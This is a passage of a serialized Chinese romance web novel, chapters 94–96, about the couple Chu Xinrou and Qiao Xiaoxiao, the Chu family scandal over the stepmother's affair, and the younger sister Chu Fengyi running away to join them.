她纤长的手指轻轻搭在乔潇潇肩上,一个温柔的力道就将人推倒在柔软的床铺间。如瀑的青丝垂落,在乔潇潇颈侧扫过一阵酥麻的痒意。 “姐、姐姐……” 乔潇潇的呼唤被近在咫尺的呼吸声碾碎,她的心跳声大得惊人,一下下撞在她耳膜上,与那致命诱惑的香气交织成令人眩晕的节奏。 温软的唇先是落在颈侧,像蝴蝶轻触花瓣般小心翼翼。而后那湿润的触感一路蜿蜒向上,最终覆上她颤抖的唇瓣时,乔潇潇的整个世界“轰”地一声炸成了漫天星光。 楚心柔稍稍退开些距离,眸光潋滟地望着她,嗓音低哑得像是浸了蜜:“现在,还觉得是梦么?” 【作者有话说】 来了来了,还有人等么?333,最近太忙了,今天差点给更新不了。 94 第94章 ◎楚心柔淡淡地说:“我有爱人了。”◎ ——现在,还觉得是在做梦么? 楚心柔俯身凝视着乔潇潇,长发如流水般倾泻而下,轻轻扫过她的脖颈,凉意丝丝缕缕地渗入肌肤,又化作微痒的触感,一路蜿蜒至心底。 姐姐的眼里盛满了她,目光专注而温柔,仿佛全世界只剩下这一个值得珍视的人。 乔潇潇眼眶发烫,心脏被某种滚烫的情绪灼得发疼。她从未被人这样注视过,更不敢想自己竟配得上这样的深情。 指尖微微发颤,她抬手扣住楚心柔纤细的腰肢,稍一用力,便将人彻底揽入怀中。 她们拥抱过无数次,可这一次却与以往都不同。肌肤相贴的触感如此真实,呼吸交错间,连心跳声都清晰可闻。乔潇潇将脸埋进楚心柔的肩窝,深深吸了口气,任由那熟悉的气息将自己包裹。 “姐姐,谢谢你……”她低声呢喃,嗓音微哑。 她的姐姐啊。 明明也是隐忍克制、不善言辞的人,却为了给她足够的安全感,一次又一次的突破底线。 她何德何能? 楚心柔任由乔潇潇将自己紧紧箍在怀里,力道大得几乎让她喘不过气。她感觉自己像只被揉皱的布娃娃,软绵绵地塌在潇潇怀中。 鼻尖蹭过乔潇潇的锁骨,熟悉的淡香萦绕而来——是她们共用那瓶沐浴露的味道,混合着少女特有的温热气息。 楚心柔忽然觉得喉咙发干,心跳不受控地加快,指尖无意识地揪紧了乔潇潇背后的衣料。 “潇潇……”她轻声唤道,尾音带着微不可察的颤抖。 乔潇潇完全沉浸在感动的情绪中,哽咽地回答了她,“嗯。” 楚心柔感觉到她的情绪变化,在心底告诉自己,慢一些……再慢一些……不要吓着潇潇了。 夜色渐深,乔潇潇在姐姐温暖的怀抱里彻底放松下来。紧绷的背脊渐渐舒展,呼吸变得绵长而均匀。到了后半夜,甚至发出小猫似的细微鼾声,脸颊在楚心柔肩头蹭出淡淡的红印。 楚心柔瞪着眼睛,无奈地看着怀里的人,抬起手,戳了戳她的鼻子。 她学着杨绯棠今天的话,在心底小小声的腹诽着。 ——乔潇潇,你是不是不行啊? 楚心柔是第二天清晨六点的航班,任凭乔潇潇怎么软磨硬泡,她就是不肯让潇潇送机。 “机场太远了,你还要上学。”楚心柔揉了揉乔潇潇睡得翘起的发梢,指尖在发尾绕了个圈又松开,“要期末考试了,你要乖。” “你要乖”三个字简直是尚方宝剑,让乔潇潇没办法,她突然灵光一闪,转身就去敲隔壁的门。杨绯棠顶着鸡窝头从薛莜莜怀里被拽出来时,整个人都是懵的。 “乔潇潇你丧尽天良!”杨绯棠指着自己青黑的眼圈,“我凌晨四点才睡!” 睡衣领口下若隐若现的红痕看得乔潇潇战术性后仰。 潇潇现在就这点好,现在在社会上磨炼的,早就不是最开始那牛脾气了,只要杨绯棠能帮她把姐姐送机场去,怎么训她都行,她笑眯眯地拍马屁:“杨姐姐,你可真是宝刀不老,能者多劳。” 杨绯棠几乎要破口大骂了,“是我被做了一晚上好吗?!” 乔潇潇哽了一下,又微笑地向她竖起大拇指:“那我杨姐姐更厉害了,能屈能伸,专业0才。” 杨绯棠:……!!! 去机场的路上,杨绯棠还在后座生闷气。透过后视镜看着站在原地挥手的乔潇潇,她忍不住吐槽:“你看那崽子现在这厚脸皮,都是你惯出来的。” 楚心柔目光仍黏在后视镜里那个越来越小的身影上,心里都是不舍,“你有意见?” 杨绯棠:…… 哟。 瞧瞧,瞧瞧,现在护犊子护的曾经的楚总上身了。 杨绯棠哼哼唧唧的不乐意,楚心柔递给她一个包子,“喏,你爱吃的胡萝卜牛肉馅儿的。” 杨绯棠愣了愣:“你早起还买了趟包子?” 楚心柔唇角微微上扬,“一早上潇潇起来包的。” 杨绯棠:…… 突然感觉有点噎。 楚心柔:“包的我最爱的西葫芦馅儿的,顺便包了你的。” “楚心柔。”她咬牙切齿地咬了口包子,“你现在下车还来得及。” …… 晨光熹微,车窗外流动的朝霞在楚心柔眼底投下细碎的光影。她微微仰头,让那抹淡金色的晨曦轻轻掠过睫毛,像是乔潇潇昨晚温柔地亲吻。 杨绯棠不时看着她的脸色,忍不住叨叨:“这真是不一样啊,以前,我哪次送你回家,你不是黑着一张脸?” 她都要胆战心惊好几天,等楚心柔回来之后,也会长久的沉默,杨绯棠还是担惊受怕的。 楚心柔低头轻笑,指尖无意识地抚过手机屏幕。锁屏照片里,乔潇潇正抱着她的枕头睡得香甜,发梢还翘起一撮呆毛。 “现在不一样了。”她声音很轻,却十分笃定:“有人等我回家。” 杨绯棠突然猛打方向盘拐进服务区。在楚心柔疑惑的目光中,她咬牙切齿地掏出一袋面包:“先垫垫!我怕待会儿被狗粮噎死在机场高速上!” …… 楚心柔刚走出机场,就看见楚凤依站在接机口。向来精致得体的二小姐此刻眼眶通红,发丝也有些凌乱,在见到姐姐的瞬间,就像抓住救命稻草般扑了上来。 “姐……” 楚凤依整个人埋进楚心柔怀里,双臂紧紧箍住她的腰身。这突如其来的亲昵让楚心柔浑身一僵,心脏猛地揪紧,“爸爸他……”她声音发颤,“是不是不行了?” 楚凤依的身体明显僵住了。她缓缓抬头,眼底闪过一丝受伤:“姐,你就这么不待见我?” 她抱一抱姐姐,就能让楚心柔以为爹死了? “……还没死。”二小姐冷着脸补充。 楚心柔长舒一口气:“那就好。” 站在一旁的阿森默默擦了擦汗——这要是让老爷听见,不死也要气得当场咽气。 回楚家的路上,车内气压低得吓人。刚进大门,许可晴就慌慌张张地迎上来:“心柔,你爸爸他不大好。” 楚心柔快步走进客厅,只见楚云疾穿着睡袍靠在沙发上。虽然面色苍白,但怎么看也不像病危的样子。 “怎么回事?”她皱眉上前。 楚云疾见到大女儿,立刻撑着拐杖要起身,气场也恢复了一些。许可晴连忙去扶,却被他狠狠甩开,眼中满是嫌恶。 楚心柔敏锐地察觉到异常,目光在三人之间来回游移。最后定格在楚凤依身上,二小姐抱着胳膊,满脸的不屑。 这诡异的气氛让楚心柔暗自诧异。以她对父亲的了解,本该是拐弯抹角让她自己去查的戏码。但这次老头子显然气得不轻,连拄拐的手都在发抖,直接把她叫进了书房。 “你那画室别开了。”刚关上门,楚云疾就直截了当道,“收拾东西,尽快回家。” 楚心柔静静注视着他颤抖的胡须,缓缓开口:“爸,您这是……病糊涂了?” 楚云疾瞪着眼睛看她。 楚心柔偏了偏头,目光很淡:“我为什么要回来?” 家?她的家早就不在这儿了。 楚云疾差点被大女儿气的当场嗝屁。 …… 许可晴一直在门外悬着心听着动静,没过几分钟,她就听见里面传来楚云疾暴跳如雷的声音,楚心柔倒是一直很平静。 楚心柔推门而出时,许可晴正贴着门板偷听,险些踉跄着栽进她怀里。楚心柔不动声色地扶住她,指尖传来的颤抖让她微微蹙眉。 “妈,怎么回事?”她声音很轻,却带着不容回避的威严。这些年虽远离公司,但岁月反倒淬炼出她更慑人的气场,眉宇间都沉淀着不容冒犯的凛冽。 许可晴慌乱低头,睫毛在苍白的脸上投下颤抖的阴影。她攥着衣角的指节发白,嘴唇嗫嚅着却发不出声音,这个秘密像块烧红的烙铁,楚家上下没人敢徒手去接。 她知道瞒不了楚心柔,现在简直是怕得要死。 多年的精心布局,功亏一篑。 都怪她。 再忍忍就好了。 到最后,还是二小姐拉着姐姐的手进了卧室,把一些娓娓道来。 饶是楚心柔这些年见惯了大风大浪,听到妹妹说的一切,还是僵在了原地,满眼的不可思议。 楚云疾这么多年了,在家都是一言堂,他说一不二的性子,不容家里的人喘息半分。 楚心柔不过是在他的阴影下艰难求存,二小姐稍好点,也没好哪儿去,最难过的就是枕边人许可晴了,一天天过得心惊胆战的,要看他脸色生活。 刚开始,楚云疾不是这样的,最起码,只要公司不忙,都会回家吃吃饭。 可后来,与许可晴逐渐有了争吵后,他连家都懒得回了,简直是把这边当做一个中转的驿站,偶尔会回来看一看。 楚凤依大了之后,好几次都跟妈妈认真谈过,“你要是和我爸过不下去就离婚吧。” 她这么过的跟个看人眼色的下人有什么区别? 许可晴每一次都低垂着头,声音很轻,“我……不甘心。” 她嫁给楚云疾之前,他明明告诉自己,他是单身的一个人,是真的爱她才娶她的。 可来了之后,还在襁褓中的楚心柔被递了过来,楚云疾甚至连一句解释,淡淡地说:“你要是爱我,就把她当亲生女儿对待。” 许可晴抱着楚心柔,当时跟雷劈了一样。 她们昨天才刚领的证。 她自己尚且时一个对爱情充满了幻想的女孩,一眨眼,莫名的成了别人的继母。 这种途中,楚云疾还不仅一次暗示许可晴,如果让楚心柔知道,她不是亲妈,那许可晴随时可能被换掉,他想要什么样的女人没有,想要待在他的身边,最重要的就是听话。 长久以来的压抑与痛苦,让许可晴的心渐渐地扭曲。 楚心柔从小就生的粉雕玉琢,像是那种能直接抱着拍奶粉广告的宝宝,谁看了都喜欢。 许可晴也有女性天生的母爱,但是她硬着心,让自己不去喜欢她,甚至把楚云疾对自己做的言语上的施压、现实中的假好,全都嫁接在了楚心柔身上。 良心与恨意,每晚将她拉扯着。 渐渐地,许可晴早已不是最初那个天真浪漫为了爱能付出一切的小女孩了。 她自己都知道自己变得面目可憎。 许可晴这么在楚家隐忍苟且,就是要让女儿拿到属于她的一切。 她在熬女儿的明天。 可就在哄得楚云疾开心,决定将公司交给二女儿的时候,许可晴来了一票大的。 她和小自己二十岁的小男人在酒店鬼混,被楚云疾的下属碰见了,还贴心地拍了照片给boss。 据说当时楚云疾亲自去抓的奸,现场那叫个激烈火热,把男孩吓得夹子音都出来了。 一时间,掀起了千层浪。 楚心柔听了之后,被震惊地久久无法回神。 二小姐倒是很想得开,她看着姐姐:“我看爸爸这样,是得将我们娘俩扫地出门了,姐,这样也好,我现在拥有的一切,本来就属于你。” 她也终于不用日日夜夜自责难过了。 她可以将属于姐姐的一切还给她。 她妈虽然不年轻了,但还不晚,只要离婚有了自由身,许可晴愿意做什么做什么,她不会干预,就是再找一个比她小的男朋友,二小姐都能答应。 楚凤依这几年历练的,已经不再是那个单纯稚嫩的小女孩了,她在集团站稳脚跟之后,很大一部分精力都用在调查妈妈为什么对姐姐这样冷酷残忍上了。 虽然没有查出全貌,但是二小姐掌握的已经八九不离十了,这更加让她痛苦难过。 楚心柔听了妹妹的话,看了她一眼:“我离开集团很多年了,不会再回去。” 楚凤依以为姐姐还在顾虑自己,说了一句:“姐姐,这本来就是你的。” 楚氏集团,可不是什么街边小店。 这个横跨金融、地产、科技的商业帝国,每一次董事会的决议都能让股市为之震荡,掌握着数十万员工的生计,牵动着上下游企业的命脉,政商两界有多少权贵们争相递上名帖,只为在楚家的宴会上求得一席之地,多少人争着抢着分一杯羹。 楚云疾能那么的有恃无恐,不也就吃定了许可晴会为了集团的一切隐忍不发么? 楚心柔蹙眉,看了楚凤依一眼:“我不会回来。” 二小姐很惊讶地看着如此笃定的姐姐:“为什么?” 楚心柔淡淡地说:“我有爱人了。” 她还要跟潇潇天南海北到处游玩,过逍遥散仙的生活,怎么会接这个乱摊子? 楚凤依:??? 啥??? 【作者有话说】 楚心柔:秀天,秀地,秀一切。 二小姐大受震撼。 95 第95章 ◎秀恩爱的开始。◎ “我有爱人了。” 楚心柔轻描淡写的一句话,却让二小姐楚凤依如遭雷击。 在楚凤依的记忆里,姐姐向来清冷淡然。从小到大,她从不似其他姐妹那般亲昵,没有热烈的拥抱,更没有甜蜜的亲吻,最多只是温柔地揉揉她的头发。 仅此而已。 楚凤依怔怔地望着姐姐,半晌才找回自己的声音:“是……谁?” 她脑海中闪过谢英的身影。那个曾经对姐姐穷追不舍的男人,不久前才灰头土脸地宣布放弃,说要为了友谊止步于此。若不是他,还能是谁? 想起潇潇,楚心柔的眉眼间不自觉地漾开一抹柔情:“现在还不是说的时候。” 她不愿让潇潇卷入这场风波。可凤依毕竟是自己的亲妹妹,迟早都要知道的。 与此同时,楚云疾的怒火彻底被点燃。许可晴这些年来虽未直接参与经营,却在集团旗下多个产业持有可观股份。这一次,他毫不留情地全部收回。更令人心惊的是,他似乎已经开始着手削弱二小姐手中的权力。 甚至在楚心柔回来后的这个星期,连最重要的董事会都没让二小姐出席。 许可晴急得嘴角都起了火泡,可楚凤依却像突然卸下了重担,整个人都轻快起来。她买了一大堆零食,抱着iPad往床上一躺,美滋滋地刷起了剧。 “天啊……”她满足地叹息一声,整个人陷进柔软的床垫里。 这才是她该过的日子啊——不用早起开会,不用应付那些老狐狸,更不用在父亲和姐姐之间左右为难。床铺柔软得像云朵,她的四肢懒洋洋地使不上力,连动一动手指都觉得费劲。 这床怎么这么舒服? 她的腿怎么如此无力? 任何人都不能将她与床分开。 许可晴简直是看不下去了,火急火燎的说:“你还能吃的下去?还能躺的下去?这么多年的努力,眼看着就要功亏一篑了,你就一点不着急?” 楚凤依“咔嚓”“咔嚓”地吃着薯片,懒洋洋地看了一眼许可晴:“妈,我爸虽然把你资产冻结了,但是这些年,你也没少把家里的钱往外弄,除了你那个小白脸,够你在外面包一堆小鸭子了。” 挥霍吧。 享受吧。 压抑了这么久的人生,难道不该开花了么? 许可晴气得浑身发抖,指尖几乎要戳到楚凤依脸上:“你……就这点出息?那点积蓄够你挥霍多久?等着坐吃山空吗?” 二小姐慢条斯理地用湿巾擦了擦手指,合上iPad,戴上真丝眼罩,舒舒服服地钻进被窝,声音里透着前所未有的惬意:“花不完的。” “就算真花完了……”她翻了个身,声音渐渐模糊,“我也乐意……” 当个普通人有什么不好?至少不用每天戴着面具生活。 原本许可晴的丑事还只是楚家内部的风波,但偏偏她掌管着集团旗下的娱乐公司。 豪门秘辛向来最能挑动大众神经,很快,一则“董事长夫人夜会男模”的爆炸性新闻就在圈内不胫而走。 那些被刻意模糊的照片里,许可晴举着红酒杯的侧影,与年轻男子交颈而谈的画面,在各大社交平台疯狂传播。 而最要命的是,这次的男模,和上次被楚云疾捉奸在床的那位,根本不是同一个人。 这记重锤直接让楚云疾高血压发作,被紧急送进了医院。 许可晴见势不妙,卷走了保险箱里价值千万的珠宝首饰,人间蒸发般消失得无影无踪。 说是突然卷走,其实更像是蓄谋已久,这些年,许可晴虽然什么权利都不要,但是就喜欢去看拍各种珠宝,个个价值千金,楚云疾并没有多想,只以为是她单纯的爱好,后知后觉之后,他气得直接晕倒。 好在,两个女儿还是在第一时间赶到了医院。 趁着父亲昏迷,楚凤依偷偷拽了拽姐姐的衣袖:“妈的事……要告诉爸吗?” 她真怕这一刺激,老爷子直接一命呜呼。 楚心柔望着病床上脸色惨白的楚云疾,“他应该早就知道了。” …… 老爷子幽幽转醒时,二小姐正坐在病床边削苹果。那双平日里只懂得涂指甲油的手此刻笨拙地握着水果刀,好好的一个苹果被她削得只剩个核。 楚云疾盯着女儿看了半晌,终究还是叹了口气:“爸爸知道,你有这份孝心……” “一个苹果就叫孝心了?”楚凤依轻笑一声,将削得惨不忍睹的苹果放在床头,“要是您真脑梗了,我这样伺候您十年,那才叫孝心。” 楚云疾气得太阳穴直跳,强压着火气道:“爸爸知道,之前的事伤着你了。” 楚凤依漫不经心地欣赏着自己新做的美甲,语气平静得可怕:“很正常。毕竟亲眼看见我妈跟别人在床上,想用科学手段验证我是不是野种,人之常情。” 她早已不是那个躲在姐姐身后吃糖的小女孩了。这些年来,楚云疾一步步推着她成长,为了锻造出一个合格的继承人,不惜挑拨她与挚友的关系,放任别有用心之人接近她,让她尝尽世态炎凉。 如今楚凤依确实如他所愿练就了一颗‘铁石心肠’,就算是知道爸爸在知道妈妈出轨的那一刻,第一个想到的是验她的DNA,二小姐也完全OK,这才是她爸的正常操作。 老爷子气得直咳嗽,恰在此时楚心柔拎着保温桶推门而入。感受到病房内剑拔弩张的气氛,她默默退到角落。 “爸,都到这份上了,咱们就别演了。”楚凤依直视着父亲,笑意未达眼底,“医生说了,您这些年花大价钱保养的身体硬朗得很,这次纯粹是被我妈的花边新闻气的,死不了。” “你——逆女!”楚云疾涨红了脸,伸手就要抓床头花瓶。 楚心柔眼疾手快地将花瓶移开。 “我忍够了。”楚凤依声音冷得像冰,“小时候您嫌我蠢,比不上姐姐;长大了又嫌我是瘸子,丢您楚氏的脸;现在肯用我,不过是因为姐姐不屑搭理您,您没得选罢了。” 她说这话的时候,目光还扫过了楚心柔,怕姐姐不开心。 没办法,二小姐可以做到跟父亲决裂,却永远离不开姐姐。 意外的,她没有看到楚心柔有任何不开心,甚至看着她的眼睛还带着点惊喜与赞同。 二小姐:…… 姐姐变了。 跟以前一点也不一样了,是她所谓的那个爱人,给她的勇气么? 楚云疾被气的咳嗽的不停,楚心柔还是看不下去了,她叹了口气,走到了爸爸身边,“好了*,爸,别气了,我做了面条给你吃。” 一听说这个,老爷子的气儿总算是消了些。毕竟这个在外漂泊多年的大女儿,这个被他亏欠了半辈子的孩子,如今竟肯在他病中亲手煮面,哪个当爹的能不心头发软? 可这口面条刚咽下去,楚云疾差点直接咳进ICU。 “咳咳咳——”他呛得满脸通红,额角青筋直跳。 这煮的是什么东西?! 楚心柔一边给他拍背,一边慢条斯理地教训妹妹:“爸虽然身子骨硬朗,你也不能这么气他。” 楚云疾猛地推开大女儿的手,警惕地盯着她。 他已经不相信她们俩的任何一个人了。 只见楚心柔神色真挚,语气诚恳至极:“爸,其实您真不用在我和妹妹这两个不孝女之间为难。您这身子骨,再生个儿子完全不是问题。” 楚云疾:…… 老爷子捂着胸口,突然觉得刚才那口面条怕是卡在气管里了。 二小姐终于如愿以偿被赶出家门。 楚云疾出手狠辣,不仅当场撤了她总经理的职务,还冻结了她名下所有资产。更绝的是,鉴于许可晴之前卷珠宝逃跑的前车之鉴,老爷子直接派人把楚凤依软禁在别墅里,势必要把这个倔丫头治服。 可二小姐岂是等闲之辈?当天夜里,她愣是用一根窗帘绳,像武侠小说里的女侠一样,从二楼窗户荡了下去。监控录像里,那个一瘸一拐却倔强挺直的背影,就这么消失在了茫茫夜色中。 以至于正在候机室里看财经杂志的楚心柔,望着一身睡衣出现在她对面的妹妹时,以为自己看花眼了。 楚云疾拿楚心柔是没办法的,毕竟人家在外面这么多年了,一分钱都没用他的活的好好的,他早就管束不了她了。 可二小姐不同。 这是她从小到大第一次离家,别提多开心了,楚凤依为了能够突破层层枷锁与姐姐汇合感到兴奋异常,两眼闪着泪光:“姐,我终于找到你了!” 她一头扎进了姐姐的怀里。 楚心柔愣了愣,抬手,提溜着后脖颈子给她从怀里拽了出来,“你怎么来了?” 她不应该在家么? 楚凤依无比兴奋的炫耀:“他以为用点钱就能困住我?我早就不是之前的我了,什么生活我过不了?!” “回去。”楚心柔冷声道。 楚凤依扯着脖子:“我不!”她抓着姐姐的腰,怎么也不松手:“姐姐,妈妈已经跑了,难道你还要不要我么?我们姐妹俩像是小时候一样,相依为命不好么?” 楚心柔沉默了片刻,声音很轻地说:“不好。” 她自己的妹妹她能不了解么? 楚凤依是吃不了苦的。 二小姐气到要抓头发了,她难过极了,含着泪看着姐姐:“那你是要抛弃我了?” 可是……可是,没有姐姐,她还能投奔谁? 毕竟是家丑,楚云疾现在是对外封锁消息的,二小姐如果联系圈子内的人,这消息怕是也封不住了,到时候集团的股价下跌,市值再蒸发上亿,估计老头子就真嘎了生不了儿子了。 那她只能去圈子外找人。 能找谁? 二小姐第一个想起来的是糯糯。 圈外人她第一个想到的是糯糯。可那孩子还在寄宿学校,而且楚凤依向来只跟她分享快乐。 走投无路之际,二小姐颤抖着掏出手机,在姐姐面前拨通了乔潇潇的电话。 “喂……”她的声音细若蚊呐,带着几分委屈几分倔强,“潇潇,我能去投奔你吗?” 电话那头的乔潇潇二话不说就答应了,甚至热情地表示要为身无分文的二小姐订机票,微.信里五千块的转账更是眨眼间就到账了。 二小姐顿时底气十足,朝姐姐甩去一个胜利的眼神:“看见没?我的人脉也不差。” 楚心柔连眼皮都没抬一下。 登机时,楚心柔头也不回地走向头等舱通道,留下二小姐一个人站在经济舱的队伍里。楚凤依攥着登机牌,这是她二十多年来第一次像个普通人一样排队登机,没有助理前呼后拥,没有空乘殷勤问候。 两个半小时的航程里,她蜷缩在狭窄的座位上,闭着眼睛装睡。 等下了飞机,已经是霜打的茄子了。 好在姐姐总还是有些人性,在出机口等着她。 楚凤依快步走了过去,刚开机,想要给乔潇潇打个电话问问地址的。 谁知道她抬眼一看,看到了远处不停地冲她挥手的乔潇潇。 那一刻,二小姐感动的几乎要流泪了,她从没想到,乔潇潇对她居然如此用心!又买机票又给钱,如今,还亲自来接她了! 楚凤依在心底告诉自己。 从今以后,乔潇潇就是她最好的朋友了! 二小姐甚至激动地伸出双手,冲着乔潇潇就过去了,想要热烈相拥。 乔潇潇像是跟楚凤依心有灵犀,也伸出了手臂,就在要抱住的那一刻,潇潇转了个身,用力地抱住了旁边的楚心柔,“姐姐,你可算回来了!” 抱了个寂寞的二小姐:??? 【作者有话说】 二小姐好可怜啊…… 96 第96章 ◎软得几乎站不住。◎ 眼看着姐姐和乔潇潇紧紧地抱在了一起,耳鬓厮磨,难舍难分的样子,楚凤依愣在了原地,不是……这干嘛呢? 还是楚心柔先回过神来。她轻抚乔潇潇的背脊,眼波流转间瞥见呆若木鸡的妹妹,不由莞尔,她拍了拍乔潇潇的肩膀。 潇潇这会倒是有点不好意思了,她接过姐姐手里的行李,看了看楚凤依,问:“饿了么?” 二小姐直勾勾地盯着她看了半响,问:“你和我姐是怎么回事儿?” 乔潇潇的脸一下子红了。 楚心柔在旁边笑吟吟地看着她。 嗫嚅了半天,乔潇潇不好意思地说:“或许,你可以叫我姐夫?” 楚凤依:!!! 这一路上,二小姐整个人都恍惚得厉害,眼神飘忽得像踩在云端,连步子都是虚浮的。她时不时掐一下自己的手心,疼得直吸气,不是梦啊。 可眼前这场景,怎么比梦还离奇? 她那个清冷自持的姐姐,此刻竟任由乔潇潇牵着手,十指相扣得那般自然。 更让二小姐心惊的是,姐姐眼角眉梢漾开的春.色,是她在楚家深宅十八年都未曾见过的鲜活模样。 回程的路上,楚家二小姐整个人都是懵的。她机械地系着安全带,余光却瞥见乔潇潇凑到姐姐耳边说了什么,惹得向来端庄的姐姐笑倒在座椅里。 …… 二小姐默默把脸埋进了膝盖里,这世道,终究是变了。 原本以为的“人脉”怎么就变成“姐夫”了,她到现在都没办法理解。 还好,她“姐夫”人比较细心,知道二小姐心里想的什么,她一回家,就听见“啪啪啪”拖鞋踩地的声音,紧接着是糯糯的笑声:“姐姐,姐姐,抱抱!!!” 哪怕已经不再是那小团子了。 哪怕楚凤依已经不是高高在上的二小姐了,可糯糯对她都是一样的热情纯粹。 楚凤依看到糯糯那一刻,眼泪差点流下来,伸出双臂,一把将她抱住了。 那力度……让她踉跄着后退几步,后槽牙快咬断了,才将糯糯稳稳抱住。 糯糯像小时候一样,亲昵地蹭着她的脸颊:“好想你!” 糯糯从小就这样,从不吝啬表达感情,而楚凤依是真真在在的受用,听了之后,眉眼都笑弯了。 楚心柔站在一旁,看着妹妹终于舒展的笑颜,紧绷的神经也跟着放松了些。 “去给妹妹找个衣服吧。” 乔潇潇打量着楚凤依皱巴巴的睡衣,眉头微蹙。楚心柔点点头,两人一前一后往主卧走去。 二小姐抱着糯糯,满眼的哀怨,找睡衣?用俩人一起去么?乔潇潇打的什么算盘,她会不知道么? 果不其然。 二小姐的脑袋瓜还是好使的。 短短几步路,楚心柔就察觉到了乔潇潇的急切。她的手腕被牢牢扣住,几乎是半推着进了卧室。门锁“咔嗒”落下的瞬间,后背已经抵上了冰凉的门板。乔潇潇滚烫的呼吸铺天盖地压下来,带着这些天积攒的所有思念。 这个吻来得又急又凶,与往日的温柔克制截然不同。乔潇潇像是要把人揉进骨血里,楚心柔被吻得气息紊乱,指尖无意识地攥紧对方衣领,整个人软得几乎站不住。 “等——”楚心柔刚想提醒妹妹还在外面,未尽的话语就被炽热堵了回去。乔潇潇变本加厉地扣住她的腰肢,将这个吻加深到令人眩晕的程度。 “嗯……” …… 再出来时,乔潇潇神清气爽地拎着条白色亚麻长裙:“你姐的衣服。” 楚凤依冷眼打量着跟在后面的姐姐,发丝凌乱,唇色嫣红,眼尾还泛着未褪的潮红。她一把抓过衣服,咬牙切齿道:“我去洗澡!” 转身时故意把浴室门摔得震天响。 乔潇潇跟着哆嗦了一下,她看了看沙发上的糯糯,糯糯偏着头,打量着她和楚心柔。 姐姐们这是…… 到底妹妹还小。 乔潇潇不敢让她知道太多,问:“你晚上想吃什么?” 糯糯想了想,“没有什么想吃的,但是不想吃面条。” 楚心柔:…… 乔潇潇:…… 上次糯糯来家里,误食了楚心柔给潇潇做的面条之后,辗转了大半夜,从此就对面条“深恶痛疾”。 今晚,乔大厨难得亲自下厨,厨房里火光跃动,锅铲翻飞。她系着围裙,额前碎发被汗水微微浸湿,却掩不住眉眼间的专注与温柔。 楚凤依擦着湿发走出浴室时,正撞见这满室烟火气的一幕——乔潇潇在灶台前忙碌,姐姐站在她身旁,时而为她拭去额角的汗珠,时而接过她递来的汤勺浅尝味道。那张素来清冷的面容此刻柔和得不可思议,眼角眉梢都浸着暖意。 楚凤依看的有点愣,她没有见过这样的姐姐,心里不知道什么滋味,这样的场景,在她们家就从来都没有过。 在二小姐很小的时候,爸妈就一直很忙,谁都不着家,都是楚心柔带着她,吃饭基本上不开火,最开始,是差人送过来,到后来,家里来了大厨,手艺好是好,但却缺了点味道,就在二小姐内心翻滚之际,糯糯也看着乔潇潇说:“我没有见过我姐这样过。” 记忆中的姐姐总是低着头,苦大仇深的,在万柳村的时候,乔潇潇习惯性地缩着身体,有阴影处,她都会藏着,尽量减少存在感,什么时候看她笑的这么灿烂了? 楚凤依看了看糯糯,抿着唇。 糯糯虽然块14了,但是到底还小,有些事情,二小姐没办法戳破,很多话也不便在她面前说。 糯糯看着楚凤依:“她们在一起,很幸福呢,不是吗?” 楚凤依一个激灵,瞳孔地震,不可思议地看着糯糯。 糯糯叹了口气:“你们都当我是小孩子。可我姐姐在我这个年纪,已经能撑起整个家了。” 终于在一起了呢,之前姐姐磨磨唧唧的,糯糯都跟着着急。 楚姐姐那么优秀,要是被人抢走了怎么办? 二小姐盯着糯糯澄澈的眼睛,声音发紧:“你……不生气吗?” “为什么要生气?”糯糯反问得干脆利落,那双看透世事的眼睛直视着楚凤依,“凤依姐姐,人总要长大的。姐姐们迟早会有自己的归宿。” 楚凤依的呼吸陡然沉重起来。浴室蒸腾的热气似乎还凝在睫毛上,视线忽然变得模糊。她张了张嘴,却发不出声音。 糯糯又补充了一句:“再说了,我是过来人,都懂。” 二小姐有点懵:“什么过来人,懂什么?” 糯糯十分认真的用看“小垃圾”的眼神看着她:“我交过三个女朋友了,懂得爱情的滋味。” 楚凤依:……!!! 瞧不起谁呢?! 今天晚上,六菜一汤,色香俱全地铺了满桌。 清蒸鲈鱼雪白鲜嫩,油焖大虾红亮诱人,糖醋排骨裹着晶亮的酱汁,还有几道时令小炒青翠欲滴。最中间的砂锅里,莲藕排骨汤正咕嘟咕嘟冒着热气,香气四溢。 暖黄的灯光洒下来,映得菜肴色泽更加诱人。 乔潇潇直起身,笑眯眯地盛了碗汤推到楚凤依面前:“尝尝,专门给你炖的。” 楚凤依盯着汤里浮动的枸杞,又瞥了眼微笑的姐姐,她低头喝了一口。热汤入喉,鲜香浓郁,不得不承认,乔潇潇的厨艺,确实无可挑剔。 二小姐垂眸不语,纤长的睫毛在眼下投下一片阴影。糯糯察觉她情绪低落,悄悄往她身边挪了挪,像只温暖的小狗一样贴着她。 楚心柔看了她一眼,“爸爸还是把集团给你留着。” 楚凤依攥紧了衣角,胸口泛起一阵酸涩。姐姐终究不明白,她想要的从来不是那些冰冷的资产和头衔。 “凤依姐姐。”糯糯突然扯了扯她的袖子,眼睛亮晶晶的,“你要是缺钱,我可以养你啊!” “你?”楚凤依怔住了,低头看着这个曾经说话都磕磕绊绊的小团子。 “我做了个校园Vlog,粉丝都破万啦!”糯糯骄傲地掏出手机,展示着自己的账号,“还有帮姐姐们代购手串,赚了不少零花钱呢。”她顿了顿,又补充道:“而且这些年你们给的生活费,我都好好存着。” 毕竟是看着姐姐这一路怎么走过来的,糯糯的经商头脑又能差的了多少? 最重要的是她对着镜头的时候张力很强,甚至已经有看到的传媒公司抛出橄榄枝了。 乔潇潇闻言挑了挑眉:“别耽误学习。” 语气虽严肃,眼底却藏着笑意,她可是糯糯的第一个粉丝,每条视频都没落下。 楚心柔与乔潇潇交换了个眼神。下学期该让糯糯转去普通高中了,虽然不像乔潇潇当年那般出类拔萃,但成绩也算中上。最重要的是,曾经的语言障碍已经完全克服,是时候让她回归正常的生活轨道了。 楚凤依忽然觉得心口堵着的那团郁气散了些,她伸手揉了揉糯糯的发顶,嘴角终于扬起一抹浅笑:“好啊,那姐姐以后就靠你养了。” …… 晚饭后。 二小姐折腾了一天,也准备休息了。 乔潇潇走到水池前,看见楚心柔正盯着锅碗瓢盆出神,便从身后轻轻环抱住她。 “姐姐。” 她将脸颊贴在楚心柔的脸颊上轻轻摩挲,开始心猿意马了。 姐姐不在这段时间,除了忙着学习,忙着工作,潇潇也没闲着,她对那方面的知识进行了恶补,而且还不是简单的看看片网上搜搜知识,她简直是要把杨绯棠当做专家一样请到家里来开大讲堂了,听的无比认真,自认为已经成了半个精英了,肯定能让姐姐舒服。 楚心柔回过头来,眼中带着询问:“嗯?” 